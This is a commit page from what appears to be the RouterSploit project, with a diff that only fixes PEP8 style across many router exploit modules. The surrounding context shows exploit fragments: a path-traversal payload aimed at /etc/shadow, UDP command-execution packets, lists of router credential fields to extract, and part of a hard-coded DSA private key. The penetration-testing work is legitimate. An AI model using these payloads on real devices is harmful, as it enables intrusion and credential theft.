Commit 350f1212 by fwkz

Fixing PEP8 violations.

parent 73e8b5cd
...@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit): ...@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': '3Com 3CRADSL72 Info Disclosure', 'name': '3Com 3CRADSL72 Info Disclosure',
'description': 'Exploits 3Com 3CRADSL72 information disclosure vulnerability that allows to fetch credentials for SQL sa account', 'description': 'Exploits 3Com 3CRADSL72 information disclosure vulnerability '
'that allows to fetch credentials for SQL sa account',
'authors': [ 'authors': [
'Karb0nOxyde <karb0noxyde[at]gmail.com>', # vulnerability discovery 'Karb0nOxyde <karb0noxyde[at]gmail.com>', # vulnerability discovery
'Ivan Casado Ruiz <casadoi[at]yahoo.co.uk>', # vulnerability discovery 'Ivan Casado Ruiz <casadoi[at]yahoo.co.uk>', # vulnerability discovery
......
...@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit): ...@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': '3Com IMC Path Traversal', 'name': '3Com IMC Path Traversal',
'description': 'Exploits 3Com Intelligent Management Center path traversal vulnerability. If the target is vulnerable it is possible to read file from the filesystem.', 'description': 'Exploits 3Com Intelligent Management Center path traversal vulnerability. '
'If the target is vulnerable it is possible to read file from the filesystem.',
'authors': [ 'authors': [
'Richard Brain', # vulnerability discovery 'Richard Brain', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
...@@ -34,7 +35,6 @@ class Exploit(exploits.Exploit): ...@@ -34,7 +35,6 @@ class Exploit(exploits.Exploit):
port = exploits.Option(8080, 'Target port') # default port port = exploits.Option(8080, 'Target port') # default port
filename = exploits.Option('\\windows\\win.ini', 'File to read from the filesystem') filename = exploits.Option('\\windows\\win.ini', 'File to read from the filesystem')
def run(self): def run(self):
if self.check(): if self.check():
print_success("Target seems to be vulnerable") print_success("Target seems to be vulnerable")
......
...@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit): ...@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': '3Com OfficeConnect Info Disclosure', 'name': '3Com OfficeConnect Info Disclosure',
'description': 'Exploits 3Com OfficeConnect information disclosure vulnerability. If the target is vulnerable it is possible to read sensitive information.', 'description': 'Exploits 3Com OfficeConnect information disclosure vulnerability. '
'If the target is vulnerable it is possible to read sensitive information.',
'authors': [ 'authors': [
'Luca Carettoni <luca.carettoni[at]ikkisoft.com>', # vulnerablity discovery 'Luca Carettoni <luca.carettoni[at]ikkisoft.com>', # vulnerablity discovery
'iDefense', # vulnerability discovery 'iDefense', # vulnerability discovery
......
...@@ -70,7 +70,7 @@ class Exploit(exploits.Exploit): ...@@ -70,7 +70,7 @@ class Exploit(exploits.Exploit):
sock.bind(('0.0.0.0', 9999)) sock.bind(('0.0.0.0', 9999))
sock.settimeout(2) sock.settimeout(2)
packet = (b'\x0C\x15\x33\x00'+ os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(cmd)) + cmd).ljust(512, b'\x00') packet = (b'\x0C\x15\x33\x00' + os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(cmd)) + cmd).ljust(512, b'\x00')
try: try:
sock.sendto(packet, (self.target, 9999)) sock.sendto(packet, (self.target, 9999))
...@@ -86,7 +86,7 @@ class Exploit(exploits.Exploit): ...@@ -86,7 +86,7 @@ class Exploit(exploits.Exploit):
if len(data) == 512 and data[1] == "\x16": if len(data) == 512 and data[1] == "\x16":
break break
length = struct.unpack('<H', data[14:16])[0] length = struct.unpack('<H', data[14:16])[0]
output = data[16:16+length] output = data[16:16 + length]
sock.close() sock.close()
return output return output
......
...@@ -18,7 +18,8 @@ class Exploit(exploits.Exploit): ...@@ -18,7 +18,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Belkin G Info Disclosure', 'name': 'Belkin G Info Disclosure',
'description': 'Module exploits Belkin Wireless G Plus MIMO Router F5D9230-4 information disclosure vulnerability which allows fetching sensitive information such as credentials.', 'description': 'Module exploits Belkin Wireless G Plus MIMO Router F5D9230-4 information disclosure '
'vulnerability which allows fetching sensitive information such as credentials.',
'authors': [ 'authors': [
'DarkFig', # vulnerability discovery 'DarkFig', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
...@@ -42,7 +43,8 @@ class Exploit(exploits.Exploit): ...@@ -42,7 +43,8 @@ class Exploit(exploits.Exploit):
if response is None: if response is None:
return return
var = ['pppoe_username', var = [
'pppoe_username',
'pppoe_password', 'pppoe_password',
'wl0_pskkey', 'wl0_pskkey',
'wl0_key1', 'wl0_key1',
...@@ -50,7 +52,8 @@ class Exploit(exploits.Exploit): ...@@ -50,7 +52,8 @@ class Exploit(exploits.Exploit):
'mradius_secret', 'mradius_secret',
'httpd_password', 'httpd_password',
'http_passwd', 'http_passwd',
'pppoe_passwd'] 'pppoe_passwd'
]
data = [] data = []
for v in var: for v in var:
...@@ -76,7 +79,8 @@ class Exploit(exploits.Exploit): ...@@ -76,7 +79,8 @@ class Exploit(exploits.Exploit):
if response is None: if response is None:
return False # target is not vulnerable return False # target is not vulnerable
var = ['pppoe_username', var = [
'pppoe_username',
'pppoe_password', 'pppoe_password',
'wl0_pskkey', 'wl0_pskkey',
'wl0_key1', 'wl0_key1',
...@@ -84,7 +88,8 @@ class Exploit(exploits.Exploit): ...@@ -84,7 +88,8 @@ class Exploit(exploits.Exploit):
'mradius_secret', 'mradius_secret',
'httpd_password', 'httpd_password',
'http_passwd', 'http_passwd',
'pppoe_passwd'] 'pppoe_passwd'
]
if any(map(lambda x: x in response.text, var)): if any(map(lambda x: x in response.text, var)):
return True # target vulnerable return True # target vulnerable
......
...@@ -58,4 +58,3 @@ class Exploit(exploits.Exploit): ...@@ -58,4 +58,3 @@ class Exploit(exploits.Exploit):
return True # target is vulnerable return True # target is vulnerable
return False # target is not vulnerable return False # target is not vulnerable
...@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit): ...@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Cisco UCM Info Disclosure', 'name': 'Cisco UCM Info Disclosure',
'description': 'Module exploits information disclosure vulnerability in Cisco UCM devices. If the target is vulnerable it is possible to read sensitive information through TFTP service.', 'description': 'Module exploits information disclosure vulnerability in Cisco UCM devices. '
'If the target is vulnerable it is possible to read sensitive information through TFTP service.',
'authors': [ 'authors': [
'Daniel Svartman <danielsvartman[at]gmail.com', # vulnerability discovery 'Daniel Svartman <danielsvartman[at]gmail.com', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
...@@ -72,4 +73,3 @@ class Exploit(exploits.Exploit): ...@@ -72,4 +73,3 @@ class Exploit(exploits.Exploit):
return True # target is vulnerable return True # target is vulnerable
return False # target is not vulnerable return False # target is not vulnerable
...@@ -19,7 +19,8 @@ class Exploit(exploits.Exploit): ...@@ -19,7 +19,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Cisco UCS Manager RCE', 'name': 'Cisco UCS Manager RCE',
'description': 'Module exploits Cisco UCS Manager 2.1 (1b) Remote Code Execution vulnerability which allows executing commands on operating system level.', 'description': 'Module exploits Cisco UCS Manager 2.1 (1b) Remote Code Execution vulnerability which '
'allows executing commands on operating system level.',
'authors': [ 'authors': [
'thatchriseckert', # vulnerability discovery 'thatchriseckert', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
...@@ -84,4 +85,3 @@ class Exploit(exploits.Exploit): ...@@ -84,4 +85,3 @@ class Exploit(exploits.Exploit):
return True return True
return False return False
...@@ -10,7 +10,7 @@ from routersploit import ( ...@@ -10,7 +10,7 @@ from routersploit import (
http_request, http_request,
mute, mute,
validators, validators,
) )
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
......
...@@ -18,7 +18,8 @@ class Exploit(exploits.Exploit): ...@@ -18,7 +18,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 Info Disclosure', 'name': 'D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 Info Disclosure',
'description': 'Module explois information disclosure vulnerability in D-Link DIR-300, DIR-320, DIR-600, DIR-615 devices. It is possible to retrieve sensitive information such as credentials.', 'description': 'Module explois information disclosure vulnerability in D-Link DIR-300, DIR-320, DIR-600,'
'DIR-615 devices. It is possible to retrieve sensitive information such as credentials.',
'authors': [ 'authors': [
'tytusromekiatomek <tytusromekiatomek[at]inbox.com>', # vulnerability discovery 'tytusromekiatomek <tytusromekiatomek[at]inbox.com>', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
......
...@@ -15,7 +15,8 @@ class Exploit(exploits.Exploit): ...@@ -15,7 +15,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'D-Link DIR-300 & DIR-320 & DIR-615 Auth Bypass', 'name': 'D-Link DIR-300 & DIR-320 & DIR-615 Auth Bypass',
'description': 'Module exploits authentication bypass vulnerability in D-Link DIR-300, DIR-320, DIR-615 revD devices. It is possible to access administration panel without providing password.', 'description': 'Module exploits authentication bypass vulnerability in D-Link DIR-300, DIR-320, DIR-615'
'revD devices. It is possible to access administration panel without providing password.',
'authors': [ 'authors': [
'Craig Heffner', # vulnerability discovery 'Craig Heffner', # vulnerability discovery
'Karol Celin', # vulnerability discovery 'Karol Celin', # vulnerability discovery
......
...@@ -38,7 +38,6 @@ class Exploit(exploits.Exploit): ...@@ -38,7 +38,6 @@ class Exploit(exploits.Exploit):
dns1 = exploits.Option('8.8.8.8', 'Primary DNS Server') dns1 = exploits.Option('8.8.8.8', 'Primary DNS Server')
dns2 = exploits.Option('8.8.4.4', 'Seconary DNS Server') dns2 = exploits.Option('8.8.4.4', 'Seconary DNS Server')
def run(self): def run(self):
url = "{}:{}/dnscfg.cgi?dnsPrimary={}&dnsSecondary={}&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=".format(self.target, url = "{}:{}/dnscfg.cgi?dnsPrimary={}&dnsSecondary={}&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=".format(self.target,
self.port, self.port,
......
...@@ -66,7 +66,18 @@ class Exploit(exploits.Exploit): ...@@ -66,7 +66,18 @@ class Exploit(exploits.Exploit):
def check(self): def check(self):
# address and parameters # address and parameters
url = "{}:{}/cgi-bin/webproc".format(self.target, self.port) url = "{}:{}/cgi-bin/webproc".format(self.target, self.port)
data = {"getpage": "html/index.html","*errorpage*": "../../../../../../../../../../../etc/shadow", "var%3Amenu": "setup", "var%3Apage": "connected", "var%": "", "objaction": "auth", "%3Ausername": "blah", "%3Apassword": "blah","%3Aaction": "login","%3Asessionid": "abcdefgh"} data = {
"getpage": "html/index.html",
"*errorpage*": "../../../../../../../../../../../etc/shadow",
"var%3Amenu": "setup",
"var%3Apage": "connected",
"var%": "",
"objaction": "auth",
"%3Ausername": "blah",
"%3Apassword": "blah",
"%3Aaction": "login",
"%3Asessionid": "abcdefgh"
}
# connection # connection
response = http_request(method="POST", url=url, data=data) response = http_request(method="POST", url=url, data=data)
...@@ -77,4 +88,3 @@ class Exploit(exploits.Exploit): ...@@ -77,4 +88,3 @@ class Exploit(exploits.Exploit):
return True # target vulnerable return True # target vulnerable
return False # target not vulnerable return False # target not vulnerable
...@@ -16,7 +16,8 @@ class Exploit(exploits.Exploit): ...@@ -16,7 +16,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Huawei HG520 Information Disclosure', 'name': 'Huawei HG520 Information Disclosure',
'description': 'Module exploits Huawei EchoLife HG520 information disclosure vulnerablity. If the target is vulnerable it is possible to retrieve sensitive information.', 'description': 'Module exploits Huawei EchoLife HG520 information disclosure vulnerablity.'
'If the target is vulnerable it is possible to retrieve sensitive information.',
'authors': [ 'authors': [
'hkm', # vulnerablity discovery 'hkm', # vulnerablity discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
......
...@@ -18,7 +18,8 @@ class Exploit(exploits.Exploit): ...@@ -18,7 +18,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'IPFire Shellshock', 'name': 'IPFire Shellshock',
'description': 'Exploits shellshock vulnerability in IPFire M= 2.15 Core Update 82. If the target is vulnerable it is possible to execute commands on operating system level.', 'description': 'Exploits shellshock vulnerability in IPFire M= 2.15 Core Update 82.'
'If the target is vulnerable it is possible to execute commands on operating system level.',
'authors': [ 'authors': [
'Claudio Viviani', # vulnerability discovery 'Claudio Viviani', # vulnerability discovery
'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module
......
...@@ -19,7 +19,9 @@ class Exploit(exploits.Exploit): ...@@ -19,7 +19,9 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Linksys WAP54Gv3', 'name': 'Linksys WAP54Gv3',
'description': 'Module exploits remote command execution in Linksys WAP54Gv3 devices. Debug interface allows executing root privileged shell commands is available on dedicated web pages on the device.', 'description': 'Module exploits remote command execution in Linksys WAP54Gv3 devices.'
'Debug interface allows executing root privileged shell commands is available'
'on dedicated web pages on the device.',
'authors': [ 'authors': [
'Phil Purviance', # vulnerability discovery 'Phil Purviance', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
......
...@@ -66,9 +66,9 @@ class Exploit(exploits.Exploit): ...@@ -66,9 +66,9 @@ class Exploit(exploits.Exploit):
def hexdump(self, s): def hexdump(self, s):
for b in xrange(0, len(s), 16): for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]] lin = [c for c in s[b: b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin) hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat) print ' %04x: %-48s %s' % (b, hxdat, pdat)
print print
...@@ -139,7 +139,7 @@ class Exploit(exploits.Exploit): ...@@ -139,7 +139,7 @@ class Exploit(exploits.Exploit):
while True: while True:
typ, ver, pay = self.recvmsg(s) typ, ver, pay = self.recvmsg(s)
if typ == None: if typ is None:
print_error("Server closed connection without sending Server Hello.") print_error("Server closed connection without sending Server Hello.")
print_error("Exploit failed") print_error("Exploit failed")
return return
...@@ -163,7 +163,7 @@ class Exploit(exploits.Exploit): ...@@ -163,7 +163,7 @@ class Exploit(exploits.Exploit):
while True: while True:
typ, ver, pay = self.recvmsg(s) typ, ver, pay = self.recvmsg(s)
if typ == None: if typ is None:
return False # target is not vulnerable return False # target is not vulnerable
if typ == 22 and ord(pay[0]) == 0x0E: if typ == 22 and ord(pay[0]) == 0x0E:
......
...@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit): ...@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit):
{'name': "TP-Link TD-8840T V2_100525", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # tested {'name': "TP-Link TD-8840T V2_100525", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # tested
{'name': "TP-Link TD-8840T V2_100702_TR", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # ---------- {'name': "TP-Link TD-8840T V2_100702_TR", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # ----------
{'name': "TP-Link TD-8840T V2_090609", 'number': 107369570, 'offset': 1}, # 0x803c65d5 # ---------- {'name': "TP-Link TD-8840T V2_090609", 'number': 107369570, 'offset': 1}, # 0x803c65d5 # ----------
{'name': "TP-Link TD-8840T V3_101208", 'number': 107369766, 'offset': 17}, #0x803c3e89 # tested {'name': "TP-Link TD-8840T V3_101208", 'number': 107369766, 'offset': 17}, # 0x803c3e89 # tested
{'name': "TP-Link TD-8840T V3_110221", 'number': 107369764, 'offset': 5}, # 0x803d1a09 # ---------- {'name': "TP-Link TD-8840T V3_110221", 'number': 107369764, 'offset': 5}, # 0x803d1a09 # ----------
{'name': "TP-Link TD-8840T V3_120531", 'number': 107369688, 'offset': 17}, # 0x803fed35 # ---------- {'name': "TP-Link TD-8840T V3_120531", 'number': 107369688, 'offset': 17}, # 0x803fed35 # ----------
{'name': "TP-Link TD-W8101G V1_090107", 'number': 107367772, 'offset': 37}, # 0x803bf701 # ---------- {'name': "TP-Link TD-W8101G V1_090107", 'number': 107367772, 'offset': 37}, # 0x803bf701 # ----------
......
...@@ -147,7 +147,7 @@ class Exploit(exploits.Exploit): ...@@ -147,7 +147,7 @@ class Exploit(exploits.Exploit):
""" """
}, },
{ # loadbalancer.org enterprise va { # loadbalancer.org enterprise va
"user":"root", "user": "root",
"private_key": """ "private_key": """
-----BEGIN DSA PRIVATE KEY----- -----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW
......
...@@ -85,7 +85,7 @@ class Exploit(exploits.Exploit): ...@@ -85,7 +85,7 @@ class Exploit(exploits.Exploit):
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
def execute(self, s, message, payload=""): def execute(self, s, message, payload=""):
header = struct.pack(self.endianness + 'III', 0x53634D4D, message, len(payload)+1) header = struct.pack(self.endianness + 'III', 0x53634D4D, message, len(payload) + 1)
s.send(header + payload + "\x00") s.send(header + payload + "\x00")
r = s.recv(0xC) r = s.recv(0xC)
......
...@@ -79,7 +79,7 @@ class Exploit(exploits.Exploit): ...@@ -79,7 +79,7 @@ class Exploit(exploits.Exploit):
print self.execute(s, 7, cmd.strip("\n")) print self.execute(s, 7, cmd.strip("\n"))
def execute(self, s, message, payload=""): def execute(self, s, message, payload=""):
header = struct.pack(self.endianness + 'III', 0x53634D4D, message, len(payload)+1) header = struct.pack(self.endianness + 'III', 0x53634D4D, message, len(payload) + 1)
s.send(header + payload + "\x00") s.send(header + payload + "\x00")
r = s.recv(0xC) r = s.recv(0xC)
......
...@@ -19,7 +19,8 @@ class Exploit(exploits.Exploit): ...@@ -19,7 +19,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Netgear ProSafe RCE', 'name': 'Netgear ProSafe RCE',
'description': 'Module exploits remote command execution vulnerability in Netgear ProSafe WC9500, WC7600, WC7520 devices. If the target is vulnerable command shell is invoked.', 'description': 'Module exploits remote command execution vulnerability in Netgear ProSafe'
'WC9500, WC7600, WC7520 devices. If the target is vulnerable command shell is invoked.',
'authors': [ 'authors': [
'Andrei Costin <andrei[at]firmware.re>', # vulnerability discovery 'Andrei Costin <andrei[at]firmware.re>', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
......
...@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit): ...@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'TP-Link WDR740ND & WDR740N Path Traversal', 'name': 'TP-Link WDR740ND & WDR740N Path Traversal',
'description': 'Exploits TP-Link WDR740ND and WDR740N path traversal vulnerability that allows to read files from the filesystem.', 'description': 'Exploits TP-Link WDR740ND and WDR740N path traversal vulnerability'
'that allowsto read files from the filesystem.',
'authors': [ 'authors': [
'websec.ca', # vulnerability discovery 'websec.ca', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
......
...@@ -16,7 +16,8 @@ class Exploit(exploits.Exploit): ...@@ -16,7 +16,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'ZTE F609 Config Disclosure', 'name': 'ZTE F609 Config Disclosure',
'description': 'Module exploits ZTE F609 Config Disclosure. If the target is possible to authentiate to the device.', 'description': 'Module exploits ZTE F609 Config Disclosure.'
'If the target is possible to authentiate to the device.',
'authors': [ 'authors': [
'devilscream', # routersploit module 'devilscream', # routersploit module
], ],
......
...@@ -16,7 +16,8 @@ class Exploit(exploits.Exploit): ...@@ -16,7 +16,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'ZTE F660 Config Disclosure', 'name': 'ZTE F660 Config Disclosure',
'description': 'Module exploits ZTE F660 Config Disclosure. If the target is possible to authentiate to the device.', 'description': 'Module exploits ZTE F660 Config Disclosure.'
'If the target is possible to authentiate to the device.',
'authors': [ 'authors': [
'devilscream', # vulnerability discovery & routersploit module 'devilscream', # vulnerability discovery & routersploit module
], ],
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment